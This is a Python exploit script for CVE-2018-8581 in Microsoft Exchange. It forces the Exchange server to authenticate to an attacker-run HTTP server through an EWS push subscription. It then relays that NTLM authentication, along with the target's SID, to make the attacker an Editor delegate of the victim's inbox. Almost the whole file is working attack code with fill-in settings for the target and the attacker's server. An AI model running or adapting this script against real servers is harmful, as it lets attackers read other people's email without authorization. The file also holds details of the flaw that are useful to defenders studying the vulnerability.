CVE-2018-8581.py

#!/usr/bin/python
# -*- coding:utf-8 -*-
#
# CVE-2018-8581
# https://github.com/WyAtu/CVE-2018-8581
#

import re
import ssl
import httplib
from ntlm import ntlm
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'

# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'

TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"

# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1

# Exchange server version 
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"

#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"

try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    pass
else:
    ssl._create_default_https_context = _create_unverified_https_context

URL = "/EWS/Exchange.asmx" 

def request_func(ip, port, proto, body):   
    if proto == 'https':
        conn = httplib.HTTPSConnection(ip, port)
    else:
        conn = httplib.HTTPConnection(ip, port)
    
    ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER)
    headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"}
    
    conn.request("POST", URL, body, headers)
    response = conn.getresponse()
    resp_data = response.read()

    if response.status == 401:
            print "\t[*] Got 401 response with NTLM NONCE."
            print "\t[*] Trying authenticate current user..."
            Nonce = response.getheader("WWW-Authenticate")
            (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):])
            ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags)
            headers["Authorization"] = "NTLM " + ntlmresponce
            conn.request("POST", URL, body, headers)
            response = conn.getresponse()
            resp_data = response.read()
            if response.status != 401:
                    print "\t[+] Authentication and request sent successfully"
                    conn.close()
                    return resp_data
            conn.close()
            exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS))

def make_simple_add_body(exchange_version, target_email, controlled_email):
    body = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
   <soap:Header>
      <t:RequestServerVersion Version="%s" />
   </soap:Header> 
   <soap:Body>
   <m:AddDelegate>
    <m:Mailbox>
      <t:EmailAddress>%s</t:EmailAddress>
    </m:Mailbox>
    <m:DelegateUsers>
      <t:DelegateUser>
        <t:UserId>
          <t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
        </t:UserId>
        <t:DelegatePermissions>

          <t:InboxFolderPermissionLevel>None</t:InboxFolderPermissionLevel>

        </t:DelegatePermissions>
        <t:ReceiveCopiesOfMeetingMessages>false</t:ReceiveCopiesOfMeetingMessages>
        <t:ViewPrivateItems>false</t:ViewPrivateItems>
      </t:DelegateUser>
    </m:DelegateUsers>
    <m:DeliverMeetingRequests>DelegatesAndSendInformationToMe</m:DeliverMeetingRequests>
  </m:AddDelegate>
  </soap:Body>
</soap:Envelope>
    '''%(exchange_version, target_email, controlled_email)
    return body

def make_simple_remove_body(exchange_version, target_email, controlled_email):
    body = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <t:RequestServerVersion Version="%s" />
  </soap:Header>
  <soap:Body>
    <m:RemoveDelegate>
      <m:Mailbox>
        <t:EmailAddress>%s</t:EmailAddress>
      </m:Mailbox>
      <m:UserIds>
        <t:UserId>
          <t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
        </t:UserId>
      </m:UserIds>
    </m:RemoveDelegate>
  </soap:Body>
</soap:Envelope>
    '''%(exchange_version, target_email, controlled_email)
    return body

def make_pushsubscription_body(exchange_version):
    body = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
   <soap:Header>
      <t:RequestServerVersion Version="%s" />
   </soap:Header>
   <soap:Body >
      <m:Subscribe>
         <m:PushSubscriptionRequest SubscribeToAllFolders="true">

                 <t:EventTypes>
          <t:EventType>NewMailEvent</t:EventType>
          <t:EventType>ModifiedEvent</t:EventType>
          <t:EventType>MovedEvent</t:EventType>
        </t:EventTypes>
               <t:StatusFrequency>1</t:StatusFrequency>

               <t:URL>%s</t:URL>
         </m:PushSubscriptionRequest>
      </m:Subscribe>
   </soap:Body>
</soap:Envelope>
    '''%(exchange_version, EVIL_HTTPSERVER_URL)
    return body

def make_relay_body(exchange_version, target_email, controlled_email, sid):
    if FLAG == 1: body = '''<?xml version="1.0" encoding="utf-8"?>
  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
     <t:RequestServerVersion Version="%s" /> 
<m:SerializedSecurityContext>
<m:UserSid>%s</m:UserSid>
<m:GroupSids>
   <m:GroupIdentifier>
     <t:SecurityIdentifier>%s</t:SecurityIdentifier>
   </m:GroupIdentifier>
</m:GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier></RestrictedGroupIdentifier>
</RestrictedGroupSids>
</m:SerializedSecurityContext>
</soap:Header>    
<soap:Body>
  <m:AddDelegate>
    <m:Mailbox>
      <t:EmailAddress>%s</t:EmailAddress>
    </m:Mailbox>
    <m:DelegateUsers>
      <t:DelegateUser>
        <t:UserId>
          <t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
        </t:UserId>
        <t:DelegatePermissions>
          <t:InboxFolderPermissionLevel>Editor</t:InboxFolderPermissionLevel>
        </t:DelegatePermissions>
        <t:ReceiveCopiesOfMeetingMessages>false</t:ReceiveCopiesOfMeetingMessages>
        <t:ViewPrivateItems>false</t:ViewPrivateItems>
      </t:DelegateUser>
    </m:DelegateUsers>
    <m:DeliverMeetingRequests>DelegatesAndSendInformationToMe</m:DeliverMeetingRequests>
  </m:AddDelegate>
</soap:Body>
</soap:Envelope>
    '''%(exchange_version, sid, sid, target_email, controlled_email)
    else : body = '''<?xml version="1.0" encoding="utf-8"?>
  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
     <t:RequestServerVersion Version="%s" />
     
<m:SerializedSecurityContext>
<m:UserSid>%s</m:UserSid>
<m:GroupSids>
   <m:GroupIdentifier>
     <t:SecurityIdentifier>%s</t:SecurityIdentifier>
   </m:GroupIdentifier>
</m:GroupSids>
   
<RestrictedGroupSids>
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier>
</RestrictedGroupSids>
</m:SerializedSecurityContext>
</soap:Header>    
  <soap:Body>
    <m:RemoveDelegate>
      <m:Mailbox>
        <t:EmailAddress>%s</t:EmailAddress>
      </m:Mailbox>
      <m:UserIds>
        <t:UserId>
          <t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
        </t:UserId>
      </m:UserIds>
    </m:RemoveDelegate>
  </soap:Body>
</soap:Envelope>
    '''%(exchange_version, sid, sid, target_email, controlled_email)
    return body
    
def get_sid(text):
    sid = email = ""
    sid_re = re.search('<t:SID>(.*?)</t:SID>', text, flags=re.I|re.M)
    if sid_re: sid = sid_re.group(1)
    email_re = re.search('<t:PrimarySmtpAddress>(.*?)</t:PrimarySmtpAddress>', text, flags=re.I|re.M)
    if email_re: email = email_re.group(1)
    return sid, email


def get_ntlm_challenge(ntlm_negotiate, body):
    headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
    conn.request("POST", URL, body, headers)
    response = conn.getresponse()
    resp_data = response.read()

    if response.status == 401:
            Nonce = response.getheader("WWW-Authenticate")
    return Nonce

def use_ntlm_auth(ntlm_auth, body):
    resp_data = ""
    headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
    conn.request("POST", URL, body, headers)
    response = conn.getresponse()
    resp_data = response.read()   
    return resp_data

class postHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        global step
        result = ""
        headers = self.headers
        authHeader = headers.getheader('Authorization')
        if not authHeader:
           self.send_response(401)
           self.send_header('WWW-Authenticate:', 'NTLM')
           self.end_headers()
           step = 1
        else:
            if step == 1:
                ntlm_negotiate = authHeader
                step = 2
                ntlm_challenge = get_ntlm_challenge(ntlm_negotiate, relay_body)
                self.send_response(401)
                self.send_header('WWW-Authenticate:', ntlm_challenge)
                self.end_headers()
            else:
                self.send_response(401)
                self.end_headers()
                ntlm_auth = authHeader
                result = use_ntlm_auth(ntlm_auth, relay_body)
                step = 3
                
        if FLAG == 1 and step == 3:
            if "ErrorDelegateAlreadyExists" in result:
                print '[+] Delegate Already Exists'
                return
            sid, email = get_sid(result)
            if sid == "":
                print '[-] Something error, can\'t add delegate'
                return
            print '[+] Delegate added'
            print "[+] Now you can use '%s' to view the inbox of '%s' on owa/outlook"%(CONTROLLED_EMAIL, TARGET_EMAIL)
        elif FLAG == 0 and step == 3:
            if 'ErrorNotDelegate' in result:
                print "[*] The TARGET_EMAIL '%s' is not delegated by '%s'"%(TARGET_EMAIL, CONTROLLED_EMAIL)
                return
            if 'ErrorNonExistentMailbox' in result:
                print "[-] The TARGET_EMAIL '%s' may not be enabled"%(TARGET_EMAIL)
                return
            if 'ErrorAccessDenied' in result or 'ErrorItemNotFound' in result:
                print "[-] Access denied"
                return
            if "NoError" in result:
                print "[+] Delegate removed"
                return
            print "[-] Something error, can't remove delegate"
        else:
            pass
        return
            
if __name__ == "__main__":
    print "[*] Exchange Server Address: %s:%d" %(PROTO + '://' + IP, PORT)

    print "[*] Sending 'AddDelegate' EWS request to get the sid of the TARGET_EMAIL '%s'..."%(TARGET_EMAIL)
    add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
    result = request_func(IP, PORT, PROTO, add_body)

    remove_body = make_simple_remove_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)

    if 'ErrorDelegateAlreadyExists' in result:
        print '[-] Delegate Already Exists'
        print '[*] Now try to remove the delegate'
        result = request_func(IP, PORT, PROTO, remove_body)
        print "[*] Now try to get the sid of the TARGET_EMAIL '%s' again..."%(TARGET_EMAIL)
        add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
        result = request_func(IP, PORT, PROTO, add_body)
    
    sid, email = get_sid(result)
    if sid == "":
        exit("[-] Something error, can't get the sid of the TARGET_EMAIL '%s', plz confirm the config"%(TARGET_EMAIL))
    print "[+] Got the sid of '%s': %s"%(email, sid)

    print "[*] Sending 'RemoveDelegate' EWS request..."
    result = request_func(IP, PORT, PROTO, remove_body)
    if 'ErrorNotDelegate' in result or 'ErrorItemNotFound' in result:
        exit("[-] Delegate not removed")
    print "[+] Delegate removed"
    push_body = make_pushsubscription_body(EXCHANGE_VERSION)
    print "[*] Sending 'PushSubscription' EWS request..."
    result = request_func(IP, PORT, PROTO, push_body)
    if 'NoError' not in result:
        exit("[-] Sending 'PushSubscription' EWS request failed")
    print "[+] Sending 'PushSubscription' EWS request successfully"
    print "[*] Now start to relay NTLM..."
    
    if PROTO=='https':
        conn = httplib.HTTPSConnection(IP, PORT)
    else:
        conn = httplib.HTTPConnection(IP, PORT)
    
    relay_body = make_relay_body(EXCHANGE_VERSION, TARGET_EMAIL, CONTROLLED_EMAIL, sid)

    step=1
    try:
        server = HTTPServer(('', HTTPPORT), postHandler)
        print '[*] Started httpserver on port', HTTPPORT
        print '[*] Start to %s delegate, Plz wait...'%('add' if FLAG == 1 else 'remove')
        
        while not(step == 3):
            server.handle_request()

    except KeyboardInterrupt:
        print '[-] ^C received, shutting down the web server'
        server.socket.close()